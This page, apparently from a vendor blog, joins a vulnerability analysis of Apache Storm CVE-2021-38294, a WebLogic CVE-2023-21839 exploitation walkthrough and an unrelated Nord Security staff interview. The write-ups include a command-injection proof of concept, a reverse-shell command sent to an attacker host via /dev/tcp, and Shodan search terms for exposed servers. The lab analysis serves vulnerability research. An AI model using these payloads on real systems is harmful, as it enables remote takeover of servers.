Skip to content

CVE-2021-38294: Apache Storm Nimbus Command Injection

Introduction

#CVE-2021-38294 is a Command Injection vulnerability that affects Nimbus server in apache storm in getTopologyHistory services, A successful crafted request to Nimbus server will result in exploitation for this vulnerability will lead to execute malicious command & takeover the server. The affected versions are 1.x prior to 1.2.4 & 2.x prior to 2.2.1.

What is Apache Storm ?

Apache Storm is a distributed system for processing big data in real-time, Specifically designed to handle large volumes of data in a reliable and scalable manner and It operates as a streaming data framework allowing for high ingestion rates and efficient data processing. While it is stateless, Storm effectively manages distributed environments and cluster states through Apache ZooKeeper. It provides a straightforward approach to performing parallel manipulations on real-time data, enabling a wide range of data processing tasks. Apache Storm is extensively used by a lot of enterprises/organizations such as Twitter for processing tweets and clicks in its Publisher Analytics Products suite, benefiting from deep integration with the Twitter infrastructure. In Apache Storm spouts and bolts are connected to form a topology, which represents the real-time application logic as a directed graph. Spouts emit data that is processed by bolts, and the output of a bolt can be passed to another bolt. storm keeps the topology running until explicitly stopped. The execution of spouts and bolts in storm is referred to as tasks. Each spout and bolt can have multiple instances running in separate threads. These tasks are distributed across multiple worker nodes, and the worker nodes listen for jobs and manage the execution of tasks. Finally, What we will need to know well are Nimbus known as master node which plays a central role in the storm framework as it is responsible for running the storm topology by analyzes the topology and collects the tasks to be executed, distributing them to an available Supervisor node and Supervisor is the worker node which can have multiple worker processes, It’s job is to delegate the tasks to these worker processes & each worker process can spawn multiple executors based on the required workload and executes the assigned tasks and communication between the Nimbus and Supervisors is facilitated through an internal distributed messaging system ensuring efficient coordination and data exchange within the storm cluster.

Testing Lab

Let’s start to build our testing lab. First, We would need ZooKeeper to be installed you can download it from here. After downloading, extract it and create a directory data within Zookeeper directory:
mkdir data
Next, Copy the sample configuration as a main configuration file for Zookeeper:
cp conf/zoo_sample.cfg conf/zoo.cfg
Open zoo.cfg file and add the data directory file path we created previously: Now, Start ZooKeeper:
./bin/zkServer.sh start
The server started and verify it by running the CLI:
./bin/zkCli.sh
Now, It’s time to install & start Apache Storm, Download it from here. First, Create another folder inside of apache storm directory by the name data:
mkdir data
After that open the configurations file conf/storm.yaml and add the following to the file:
# Storm configuration file

# Nimbus settings
nimbus.seeds: ["localhost"]  # List of Nimbus hostnames or IP addresses
nimbus.host: "localhost"
# ZooKeeper settings
storm.zookeeper.servers:
  - "localhost"

# Storm UI settings
ui.port: 8081  

# Supervisor settings
supervisor.slots.ports:
  - 6700
  - 6701
  - 6702

# Worker settings
worker.childopts: "-Xmx768m"

# Topology settings
topology.debug: true  # Enable debugging for topologies
topology.max.spout.pending: 1000  # Maximum number of pending messages per spout

# Log4j settings
worker.log.level: INFO  # Log level for Storm workers
Don’t forget to replace the Zookeper & Nimbus server IP with your IP (The same machine IP). Let’s start it now. Starting Nimbus server:
./bin/storm nimbus
Starting Supervisor:
./bin/storm supervisor
Starting Storm UI:
./bin/storm ui
Visit the UI on port 8081 as we configure:

Patch Diffing

You can download the source code from here, The patch here on github. It shows us changes made to storm-client/src/jvm/org/apache/storm/utils/ShellUtils.java where the getGroupsCommand() method got deleted which was return a command as a string array to retrieve the groups on the system. Then, the following function modified:
##### Before
public static String[] getGroupsForUserCommand(final String user) {
        if (WINDOWS) {
            throw new UnsupportedOperationException("Getting user groups is not supported on Windows");
        }
        //'groups username' command return is non-consistent across different unixes
        return new String[]{
            "bash", "-c", "id -gn " + user
                          + "&& id -Gn " + user
        };
    }
    
##### After
public static String[] getGroupsForUserCommand(final String user) {
        if (WINDOWS) {
            throw new UnsupportedOperationException("Getting user groups is not supported on Windows");
        }
        //'groups username' command return is non-consistent across different unixes
        return new String[]{"id", "-Gn", user};
    }
The modification of getGroupsForUserCommand(String user) has been updated to use a more concise command. We can see clearly from the patch diffing that the Command Injection Occures in this part specifically in user parameter that get passed to the getGroupsForUserCommand() and also we can notice the bach -c in the String array, Let’s move to the analysis to understand how this happens.

The Analysis

When we go to the apache-storm-2.2.0/storm-client/src/jvm/org/apache/storm/utils/ShellUtils.java and scroll down after getGroupsForUserCommand() method we can see the following: This run() method is declared as protected which means it can only be accessed within the same package or by sub-classes and it implements a control flow that determines whether a specified interval has passed since the last execution, If the interval has passed it will reset the exitCode and proceeds to execute the runCommand() method. Now, By scrolling down: We will be able to see the runCommand() method and It’s a long method, So let’s break it down and explain it:
ProcessBuilder builder = new ProcessBuilder(getExecString());
Timer timeOutTimer = null;
ShellTimeoutTimerTask timeoutTimerTask = null;
timedOut = new AtomicBoolean(false);
completed = new AtomicBoolean(false);
First, It creates a new ProcessBuilder object with the executable command obtained from the getExecString() method: Here is the getExecString() method which returns the command value. Then, it declares two variables of type Timer and ShellTimeoutTimerTask as null which will be used to handle timeouts for the command execution. Finally, Creates two AtomicBoolean variables named timedOut and completed & initializes them with the value false which used to track the status of the command execution.
if (environment != null) {
    builder.environment().putAll(this.environment);
}
if (dir != null) {
    builder.directory(this.dir);
}

builder.redirectErrorStream(redirectErrorStream);
process = builder.start();
The first if condition checks if the environment variable is not null and If it’s not null, it retrieves the environment variables associated with the ProcessBuilder instance using builder.environment() and adds all the key value pairs from the this.environment map. The second if condition checks if the dir variable is not null and If it’s not null, it sets the working directory of the process to the specified directory t his.dir using builder.directory(this.dir). Finally, it’s configuring the ProcessBuilder to redirect the error stream of the process to the same output stream If redirectErrorStream is set to true the error stream will be merged with the standard output stream and then starts the process using the configured ProcessBuilder by calling the start() method.
if (timeOutInterval > 0) {
    timeOutTimer = new Timer("Shell command timeout");
    timeoutTimerTask = new ShellTimeoutTimerTask(this);
    //One time scheduling.
    timeOutTimer.schedule(timeoutTimerTask, timeOutInterval);
}
final BufferedReader errReader =
    new BufferedReader(new InputStreamReader(process
                                                 .getErrorStream()));
BufferedReader inReader =
    new BufferedReader(new InputStreamReader(process
                                                 .getInputStream()));
final StringBuffer errMsg = new StringBuffer();

// read error and input streams as this would free up the buffers
// free the error stream buffer
Thread errThread = new Thread() {
Moving to here this IF condition checks if the timeOutInterval is greater than 0, then set up a timer Shell command timeout task to handle the timeout and schedule the timeoutTimerTask to run after the specified timeOutInterval in milliseconds. After that create 2 BufferedReader objects which are errReader and inReader to read the error and input streams of the process, respectively. The process.getErrorStream() and process.getInputStream() methods return the streams associated with the running process. Next, a StringBuffer object named errMsg to store the error message, a new Thread object named errThread then create an anonymous subclass of Thread with overridden run() method.
@Override
public void run() {
    try {
        String line = errReader.readLine();
        while ((line != null) && !isInterrupted()) {
            errMsg.append(line);
            errMsg.append(System.getProperty("line.separator"));
            line = errReader.readLine();
        }
    } catch (IOException ioe) {
        LOG.warn("Error reading the error stream", ioe);
    }
}
};
try {
errThread.start();
} catch (IllegalStateException ise) {
//ignore
}
try {
parseExecResult(inReader); // parse the output
// clear the input stream buffer
String line = inReader.readLine();
while (line != null) {
    line = inReader.readLine();
}
// wait for the process to finish and check the exit code
exitCode = process.waitFor();
// make sure that the error thread exits
joinThread(errThread);
completed.set(true);
//the timeout thread handling
//taken care in finally block
if (exitCode != 0) {
    throw new ExitCodeException(exitCode, errMsg.toString());
}
} catch (InterruptedException ie) {
throw new IOException(ie.toString());
} finally {
if (timeOutTimer != null) {
    timeOutTimer.cancel();
}
// close the input stream
try {
    // JDK 7 tries to automatically drain the input streams for us
    // when the process exits, but since close is not synchronized,
    // it creates a race if we close the stream first and the same
    // fd is recycled.  the stream draining thread will attempt to
    // drain that fd!!  it may block, OOM, or cause bizarre behavior
    // see: https://bugs.openjdk.java.net/browse/JDK-8024521
    //      issue is fixed in build 7u60
    InputStream stdout = process.getInputStream();
    synchronized (stdout) {
        inReader.close();
    }
} catch (IOException ioe) {
    LOG.warn("Error while closing the input stream", ioe);
}
if (!completed.get()) {
    errThread.interrupt();
    joinThread(errThread);
}
try {
    InputStream stderr = process.getErrorStream();
    synchronized (stderr) {
        errReader.close();
    }
} catch (IOException ioe) {
    LOG.warn("Error while closing the error stream", ioe);
}
process.destroy();
lastTime = System.currentTimeMillis();
}
Finally, In a summary defines a thread that reads the error stream and appends its contents to the errMsg StringBuffer and start the thread & then proceeds to parse the output from the input stream using the parseExecResult method. After that, the input stream clear its buffer. Then, wait for the process to finish and retrieves the exit code. Next, It ensure that the error thread has exited by joining it and If the exit code is not zero, it throws an ExitCodeException with the error message. In the finally block, it cancel the timeout timer if it exists, closes the input stream, interrupts the error thread if the command execution is not completed, closes the error stream, destroys the process, and updates the lastTime variable with the current time. So, Now how actually the code can get injected or where is the point that the user give the malicious input ?. Let’s discover it by going through the PoC:
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class ThriftClient {
    public static void main(String[] args) throws Exception {
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);

        // send attack
        nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/pwned;id ");
    }
}
When we take a look here at the PoC we can notice that it’s connecting to Storm cluster by adding the configuration first. Then connect to the cluster at localhost on port 6627 & passing the previous configurations. the call the getTopologyHistory() function from the Storm Client. And here where is the command Injection happens. Let’s take a look at the implementation of Nimbus and the function: When we go under apache-storm-2.2.0/storm-server/src/main/java/org/apache/storm/nimbus/NimbusHeartbeatsPressureTest.java which is responsible for implementation of a Nimbus heartbeats pressure test. It starts with defining the class and other variables for configurations. After that as we can see it starts to initializing the Config for the heartbeats pressure test. Then by scrolling more down: We can see clearly in the HeartbeatSendTask that it’s using the defined NimbusClient that named client to create a new client connection & Passed the previous initialized Config with Nimbus Host & Port. Finally, Here we can see it started to connect to the configured client and call the sendSupervisorWorkerHeartbeats() method which can be called remotely. Now, if we go to the apache-storm-2.2.0/storm-server/src/main/java/org/apache/storm/daemon/nimbus/Nimbus.java Class: Here we can see the method clearly accessible remotely and also if we search for getTopologyHistory() method: Here we can see the method clearly and it takes the user as an parameter to retrieve the topology history information for a the user. And here where the command get injected, When we back to the first of the analysis at the patch diffing when we return information about user, As the user here can be passed and manupilated by anyone through getTopologyHistory() method. It will result in malicious command Injection.

Exploitation

Here we have 2 ways to exploit CVE-2021-38294 an exploit within Metasploit with metasploit as it’s easy to use and most of us fimalier with it By using the following module: and the 2nd one is a PoC within github.

Conclusion

Finally, This bug only works on linux as the injectable of the affected component is when getting the information about the user on linux. We saw how this vulnerability happens and the root-cause of the vulnerability & How it can be exploited remotely.

Resources

#apache #storm #cve #analysis

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

CVE-2023-21931 & CVE-2023-21839 RCE via post-deserialization

Introduction 

RCE via post-deserialization was found in Weblogic Server and has been found and registered as CVE-2023-21839 & CVE-2023-21931 both have the same idea.

Oracle WebLogic Server is a Java EE application server currently developed by Oracle Corporation.

The affected versions are 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0.

Weblogic server is a very much common software

Some shodan dorks to search for weblogic server:

– Oracle WebLogic Server

– Weblogic

– Weblogic Application Server

You can also specify the ports.

https://www.shodan.io/search?query=Weblogic

Based on Greynoise, there are no attempts of exploiting this vulnerability

https://viz.greynoise.io/tag/oracle-weblogic-cve-2023-21839-rce-attempt?days=3

Background Story

This time I fall for the rabbit hole and I didn’t even know!

Weblogic turned out to be more complicated than I thought and what made this more complicated is

1- How to debug it

2- the GIOP protocol that’s used with the exploit

The vulnerability idea is really simple.

When you hunt for such vulnerabilities, especially in Java products, usually you try to find an entry point

a serialization object where you send your payload

The methodology I followed to analyze this CVE is as follows:

– Understand how the exploit interacts with Weblogic

– Follow the requests and understand the functions that getting triggered

– Specify the related functions to the vulnerability (We don’t want the network functions such as T3 and GIOP)

– Understand those functions and when the exploit really getting triggered – the root cause

After I was basically sinking and trying to figure out how to find the start of the end of this maze, I found this blog by gobysec which they are the team who found this vulnerability explaining more about it and also about IIOP and T3.

Since the whole exploitation is through T3 and IIOP so it’s better to understand. I found this blog and it’s from the same team – gobysec, the blog explained the vulnerability methodology in general but I couldn’t follow up with them because the quality of the pics is really bad.

https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md

With that being said, I continued debugging my own way and followed the network traffic analysis which helped a lot.

Build the lab

I’m using docker on Ubuntu server 20.04

Buckle up this is a long journey to go through

Install docker

apt update

apt install docker docker-compose

Install Weblogic Server

First, install the docker of Weblogic server

– make a docker-compose.yml file and paste the following inside it.

This container was created for cve-2020-2883 but we can use it for this vulnerability as well.

– 8453 is the debugging port

– 7001 is the Oracle WebLogic Server Listen Port for Administration Server

version: '2'
services:
 weblogic:
   image: vulfocus/weblogic-cve_2020_2883:latest
   ports:
    - "7001:7001"
    - "8453:8453"

Now run the command

docker-compose up .

sudo docker exec -it container_id bash

2- Go to setDomainEnv.sh file

vi bin/setDomainEnv.sh

3- Search for debugFlag and add the following:

debugFlag="true"
export debugFlag

4- Exit and restart the container

sudo docker restart container_id

Copy the files from weblogic server

In order to debug the weblogic server we are going to copy the libs from inside the container and import them later inside our IDEA.

1- Enter the container

sudo docker exec -it container_id bash

2- Go to the following path:

/u01/oracle/weblogic/wlserver/server

as you can see here, we have the “lib” folder. here’s where all the libs of Weblogic server

3- Copy the lib folder

sudo docker cp container_id:/u01/oracle/weblogic/wlserver/server/lib .

if you are using sudo, so the copied folder will be with root privs and you gotta change them so use the following

sudo chmod -R 755 lib

Setup the debugger

1- Create a new project

2- Go to the project structure

First, add the SDK

Now go to Libraries and add the lib folder

it should appear like this, after that click OK

It supposes to show up like this. If not, try to remove it and re-add it or relaunch the IDEA

Now let’s just configure the remote-debugger

Change the name and most important the port to 8453

Now click debugging

Decompile all the jar files

As an extra step here, we are going to decompile all the jar files of Weblogic so it will become more of an open-source code and easier to search through it for whatever we need.

1- Copy all the weblogic folder from inside the container

sudo docker cp container_id:/u01/oracle/weblogic .

2- Change the permissions

sudo chmod -R 755 weblogic

3- Use the following tool:

https://github.com/thoqbk/code-collection

you can just follow the instructions there, and just give it the source directory path (the weblogic src path) and the destination path and wait for a while.

Reproduce the vulnerability

Requirements

To reproduce the vulnerability we need the following tools:

1- JNDI-Exploit-Kit

Link: https://github.com/pimps/JNDI-Exploit-Kit

2- CVE-2023-21839 Exploitation script

Link: https://github.com/4ra1n/CVE-2023-21839

3- a listener such as nc

Run the exploitation

1- First start the JNDI-Exploit-Kit

java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker_ip/1234 0>&1" -J attacker_i:8180 -L attacker_i:1389 -R attacker_i:1099

2- Run the scanner

nc -nvlp 1234

3- Run the exploit

./CVE-2023-21839 -ip target_ip -ldap ldap://192.168.1.103:1389/02snh7

This part ldap://192.168.1.103:1389/02snh7 is copied from here:

Now check the listener again

java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/192.168.1.107/1234 0>&1" -J 192.168.1.107:8180 -L 192.168.1.107:1389 -R 192.168.1.107:1099

Static Analysis & Debugging

Kick it off – because no one care

First, just to kick it off, let’s add a breakpoint and try the exploitation again

Based on the blog by gobysec, which is the team who found this vulnerability

Check it here: https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md

We have to add breakpoints on the following lines

You can find the class in the path

/lib/wlthint3client.jar!/weblogic/jndi/internal/WLNamingManager.class

Now run the exploit again and you will see how the debugger will pause.

finding the start of the maze

We can just start from the breakpoints where gobysec pointed. feel free to do that if you like. However, I like to understand the workflow of the software

I started to click “step over” and add breakpoints on where ever the IDE taking me

You can search for those classes and add breakpoints, or just with the step-over.

Breaking the magic

Since this is not an open-source project, I don’t have the same usual flexibility and by stepping over didn’t give me enough understanding, so I started with understanding the exploit, I used the go version and the python version.

Link: https://github.com/4ra1n/CVE-2023-21839

Link: https://github.com/houqe/POC_CVE-2023-21839

I edited a little bit on the go version and added a sleeping function between the requests, so it will be easier to monitor and see as much as I can on the IDE.

Also, keep an eye on JDNI-Exploit to understand which request triggers Weblogic to call back to jndi-exploit

– First part which is the data we entered gets printed.

[*] your-ip: 192.168.1.109
[*] your-port: 7001
[*] your-ldap: ldap://192.168.1.110:1389/uxnnvo

– Now we see the version of Weblogic

[*] weblogic 12

We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version

We can see the part of the code here, where the exploit sends specific requests to identify the Weblogic version

I launched Wireshark and started scrolling through the traffic

I filtered the traffic using ip.src==target_ip and found the following packet

– The Weblogic version detect request didn’t hit any breakpoint

– The [*] id=2 LocateRequest the request didn’t hit any breakpoint as

well, but this initiates communication with the t3 protocol

– The [*] id=3 RebindRequest hit the breakpoint on WLSExecuteRequest.class:98

There is some interesting info here such as “rebind_any”, and some other clues that we can follow on later.

Step-in Inside the following try block in the image, the function checks if the method descriptor indicates a one-way invocation. If it does, resp remains null; otherwise, it retrieves the outbound response using the request.getOutboundResponse() method.

Basically, the function handles the incoming requests

keep following with the ide, the next breakpoint is on the invoke method

public void invoke(RuntimeMethodDescriptor notused, InboundRequest request, OutboundResponse response) throws Exception {
    try {
        weblogic.iiop.InboundRequest iioprequest = (weblogic.iiop.InboundRequest)request;   => 1.
        if (!iioprequest.isCollocated() && iioprequest.getEndPoint().isDead()) {
            throw new ConnectException("Connection is already shutdown for " + request);
        } else {
            Integer m = (Integer)objectMethods.get(iioprequest.getMethod());  => 2.
            ResponseHandler rh;
            if (response == null) {  => 3. & 4.
                rh = NULL_RESPONSE;
            } else {
                rh = ((weblogic.iiop.OutboundResponse)response).createResponseHandler(iioprequest);
            }
            if (m != null) {  => 5.
                this.invokeObjectMethod(m, iioprequest.getInputStream(), rh);
            } else {  => 6.
                this.delegate._invoke(iioprequest.getMethod(), iioprequest.getInputStream(), rh);
            }
            if (response != null) {  => 7.
                response.transferThreadLocalContext(request);
            }
        }
    } catch (ClassCastException var7) {  => 8.
        throw new NoSuchObjectException("CORBA ties are only supported with IIOP");
    }
}

1. It begins by attempting to cast the InboundRequest object to a specific type (`weblogic.iiop.InboundRequest`) to access additional functionality specific to this type of request.

2. It checks if the request is collocated (executed within the same server) and if the endpoint associated with the request is dead (shutdown). If so, it throws a ConnectException indicating that the connection is already shutdown.

3. If the request is valid, it retrieves the method identifier (`Integer`) from a map called objectMethods using the method obtained from the request.

4. It determines the appropriate ResponseHandler to use based on the availability of the OutboundResponse object. If response is null, it uses a predefined NULL_RESPONSE handler. Otherwise, it creates a response handler specific to the type of request.

5. If a method identifier (`m`) is found in the map, it means the method is an object method, and it invokes the method using the invokeObjectMethod method, passing the method identifier, the input stream from the request, and the response handler.

6. If the method identifier is not found in the map, it delegates the invocation to the _invoke method of the delegate object, passing the method name, input stream, and response handler.

7. If a response object is provided, it transfers the thread-local context from the request to the response object.

8. If a ClassCastException occurs during the typecasting of the InboundRequest object, it throws a NoSuchObjectException indicating that CORBA ties are only supported with IIOP (Internet Inter-ORB Protocol).

From there going to doAs method

public Object doAs(AbstractSubject kernelId, PrivilegedExceptionAction action) throws PrivilegedActionException {
    if (action == null) {  => 1.
        throw new SecurityException(SecurityLogger.getNullAction());
    } else {
        int sizeBeforePush = SubjectManager.getSubjectManager().getSize();  => 2.
        SubjectManager.getSubjectManager().pushSubject(kernelId, this);  => 3.
        Object actionResult = null;  => 4.
        boolean var11 = false;
        try {
            var11 = true;
            actionResult = action.run();
            var11 = false;
        } catch (RuntimeException var12) {
            throw var12;
        } catch (Exception var13) {
            throw new PrivilegedActionException(var13);
        } finally {
            if (var11) {
                int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
                while(sizeBeforePop-- > sizeBeforePush) {
                    SubjectManager.getSubjectManager().popSubject(kernelId);
                }
            }
        }
        int sizeBeforePop = SubjectManager.getSubjectManager().getSize();
        while(sizeBeforePop-- > sizeBeforePush) {
            SubjectManager.getSubjectManager().popSubject(kernelId);
        }
        return actionResult;
    }
}

1. It first checks if the action parameter is null. If so, it throws an SecurityException indicating that the action is null.

2. It retrieves the current size of the subject stack from the SubjectManager and assigns it to sizeBeforePush.

3. It pushes the specified subject (`kernelId`) onto the subject stack using the pushSubject method of the SubjectManager.

4. It initializes a variable actionResult to null & It sets a boolean variable var11 to false as a flag for the finally block.

5. It tries to execute the privileged action by calling the run method of the provided PrivilegedExceptionAction object.

1. If a RuntimeException is thrown, it is rethrown as is.

2. If an Exception is thrown, it wraps it in a PrivilegedActionException and throws it.

6. In the finally block, it checks if var11 is true, indicating that an exception occurred during the action execution.

Basically, The doAs method executes a privileged action on behalf of a specific subject. It pushes the subject onto the subject stack, attempts to run the action, and handles any exceptions that occur during execution. Finally, it ensures that the subject is popped from the stack before returning the result of the privileged action.

Once the software hits the actionResult = action.run(); it will go to the invoke method

and from here it will go through multiple loops until it gets back to the run method, and it will continue down to the end of the run method and that will take us to execute method

void execute(Runnable work) {
    try {
        ++this.executeCount;
        this.timeStamp = System.currentTimeMillis();
        this.startTimeNS = System.nanoTime();
        this.underExecution = true;
        this.setThreadPriority();
        work.run();
    } catch (ThreadDeath var9) {
        throw var9;
    } catch (RequestManager.ShutdownError var10) {
        throw var10;
    } catch (OutOfMemoryError var11) {
        KernelLogger.logExecuteFailed(var11);
        SelfTuningWorkManagerImpl.notifyOOME(var11);
    } catch (Throwable var12) {
        KernelLogger.logExecuteFailed(var12);
    } finally {
        this.underExecution = false;
        this.usage = (int)(System.currentTimeMillis() - this.timeStamp);
        this.usageNS = System.nanoTime() - this.startTimeNS;
        this.timeStamp = 0L;
        this.startTimeNS = 0L;
    }
}

from here you can notice that the [*] id=4 RebindRequest got sent and the other requests as well

basically, you will notice that this process is building context and passing variables, and processing the serialization and deserialization.

On [*] id=6 ResolveRequest you can notice that JNDI-Exploit is triggered, and from there our payload will be sent and executed and you can see we got the reverse shell back.

Getting back to the network traffic

We can see here all the requests from the first one id=2 LocateRequest until the last one [*] id=7 ResolveRequest

The TCP Stream 1, basically contains all the interactions of those requests

TCP Stream 2, This is the interaction with JNDI

TCP Stream 3, the reverse shell payload class

TCP Stream 4, This is finally the reverse shell

Mitigation

It’s recommended to update to the latest version

Final thoughts

This wasn’t straightforward at all and it went sideways for a little bit

but I learned a lot about Weblogic, and that will make the next analysis more in-depth and better.

What really interests me the most is the T3 and GIOP protocols

Resources

https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md

https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md

#CVE-2023-21931 #CVE-2023-21839 #weblogic

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Meet Nord People: Insights from our Engineering Managers

As we strive to create a safer cyber future for everyone, our talented engineering team takes center stage. Curious about what it’s like to be at the heart of our operations? We recently caught up with a few engineering leaders at Nord Security: Gerrit Garbereder, Rokas Dambrauskas, and Paulius Kimbartas to discuss their teams, daily tasks, challenges, and skills.

But not everything made it into the video, and we had a few requests for further exploration! So settle back and enjoy, as we delve deeper into the world of Nord Security engineering.

Engineering teams’ role and projects

Hello, Gerrit, Paulius, and Rokas! Thanks for your time today. To start things off, could you tell us how your teams play a role in the success of Nord Security?

Paulius: Hi there. My team at NordVPN is developing the Checkout system, polishing purchase flows so that customers can get our products in the easiest and most secure way possible. So simply enabling people to purchase our products in their preferred way helps grow our user base.

Gerrit: We’re building tools to protect NordPass customers, even when they’re not actively using the app. Further, as the Premium squad, our team concentrates on monetization of the service. We’re driving this by maximizing customer satisfaction and value for money. Delivering high quality tooling will increase premium subscriptions and reduce the churn rate.

Rokas: Our mission is to continuously enhance the NordLocker platform, creating a seamless and efficient experience for everyone who uses it. By doing so, we empower other teams to excel in their work and ultimately drive the success of the entire company.

Awesome! What are some recent interesting projects you’ve worked on?

R: A little more than a year ago, NordLocker made the strategic decision to go serverless and focus on building cloud-based solutions. In recent months, we finally managed to migrate one of our core functionalities to the cloud, which was a very challenging task!

P: On the NordVPN team, we recently added a one-click payment option to enable our existing users to have a seamless purchase experience in a secure way. This feature required multiple components, such as authentication and secure data retrieval.

G: Adding attachments to NordPass was a really challenging project. We had to align the integration with our colleagues at NordLocker while the underlying structure was reworked from the ground up. During this project we created not only new features but also formed new bonds with people across multiple teams.

Work tools and daily operations

And to get these projects over the finish line, which tools do you normally use?

R: Some tools are used across the whole company. GitLab helps us manage our codebase. For snappy communication, we use Slack. Apart from that, engineers are free to use their IDEs and tools of preference.

P: To expand on that, my team uses Docker, Grafana – and those are only off the top of my head! In terms of programming languages, primarily we use TypeScript, PHP, and GO.

G: As a cross-functional team we’re using a whole zoo of tools every day. We provide each guild the tooling that fits their needs. Android, iOS and Backend development is enabled through corresponding IDEs.

What does an engineering manager do on an average day?

R: My day is quite diverse. I spend most of the time communicating with my team, ensuring their projects are on track and addressing any issues that may arise. I also participate in meetings with other teams and help with long-term planning.

P: In one word: dynamic. My primary focus everyday is to enable engineering teams to achieve their goals, so ad-hoc knowledge sharing, brainstorming, and guiding people takes time every day. On the other hand, focus time is really important for me. Planning upcoming features and aligning our goals across teams is a vital part of my work. It contributes to the team’s overall performance and happiness.

G: To add to the above, after the daily scrum in the morning, I typically take care to remove impediments for the team’s current tasks. Once everyone is unblocked I move towards tactical planning together with the Product Owner on upcoming projects and challenges.

R: I always strive to do some hands-on technical work as well, so I can stay connected to my team and the work they’re doing.

Growth opportunities and skills needed

What do you look for in your teammates?

P: It’s all about having an eagerness to learn – the cybersecurity field is very dynamic, new risks arise and our engineers need to be constantly learning and up to date with new technologies and best practices.

R: Strong technical skills are important, but we also look for individuals who are excellent problem-solvers, able to work well in a team, and have a growth mindset.

G: Engineering specialists are of course expected to be experts in their field. However, I believe it’s also necessary for this role to be open-minded with customer success as a focus. And I agree with Paulius, my expectation for any engineer is to be curious and eager to learn.

P: One other crucial thing is to be an honest communicator. If something’s wrong, we don’t wait till the situation develops. We speak about it and solve it.

How does your team grow together?

R: In my team I encourage open communication and knowledge sharing, which helps everyone on the team to continually refine their skills. Also we do regular performance evaluations, 1-on-1 meetings, as well as offering opportunities to attend relevant training and conferences.

P: Yes, 1-on-1 meetings help us to determine how each engineer wants to grow, because growth is such an individual thing. I always plan the team’s work accordingly, and prioritize initiatives that will help us all grow.

G: We benefit from the training possibilities provided through the Tesonet Group, which focus mainly on soft skills. Hard skills are improved through mentorship programs, online courses, and conferences. I encourage my team to spend around 10% of their time learning, which is scheduled into our sprint planning.

Challenges and how we solve them

It sounds like there’s a lot to consider! What challenges do you face as managers?

G: Translating the big picture into actionable items that allow individual contributors to relate their work to the company’s success is a challenge. Making everyone aware of the actual problem we are trying to solve is a difficult task. Often enough engineers tend to dive straight into a sophisticated solution while a simpler solution would have solved the customer’s problem with ease.

R: For me, it’s balancing the needs of my team with the demands of the business. This can include prioritizing tasks, ensuring everyone is on track to meet deadlines, and effectively communicating changes or updates to the team.

P: I agree with that. Alignment across individual, team, and organization goals is a challenge. The ideal situation is when each engineer’s goals are in alignment with what we as a team want to achieve, and the team goals are in alignment with what we as an organization wants to achieve. In such situations any friction disappears and you can simply tackle whatever challenges you have.

How does your team work together?

G: Our distributed team is shaped by people from different nations with a variety of backgrounds. This mixture of people and culture fosters a vivid exchange of experiences. Not every day is joy and laughter, life is full of challenges and we are handling those challenges together. Recent events in Ukraine and Türkiye are two examples of compassion and support within the team beyond professional distance.

P: Smartest restless achievers I’ve ever known. Each person on the team brings ideas on how we can overcome new challenges, which we always have. On top of that some challenges come unforeseen, but that does not stop us. We can simply jump on a call and brainstorm the solution together. Pair programming is a great way to solve problems.

___

Thanks to Gerrit, Paulius, and Rokas for their time today!

If you’re an engineer or manager interested in working with us at Nord Security to create a safer cyber future, check out our job postings below.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

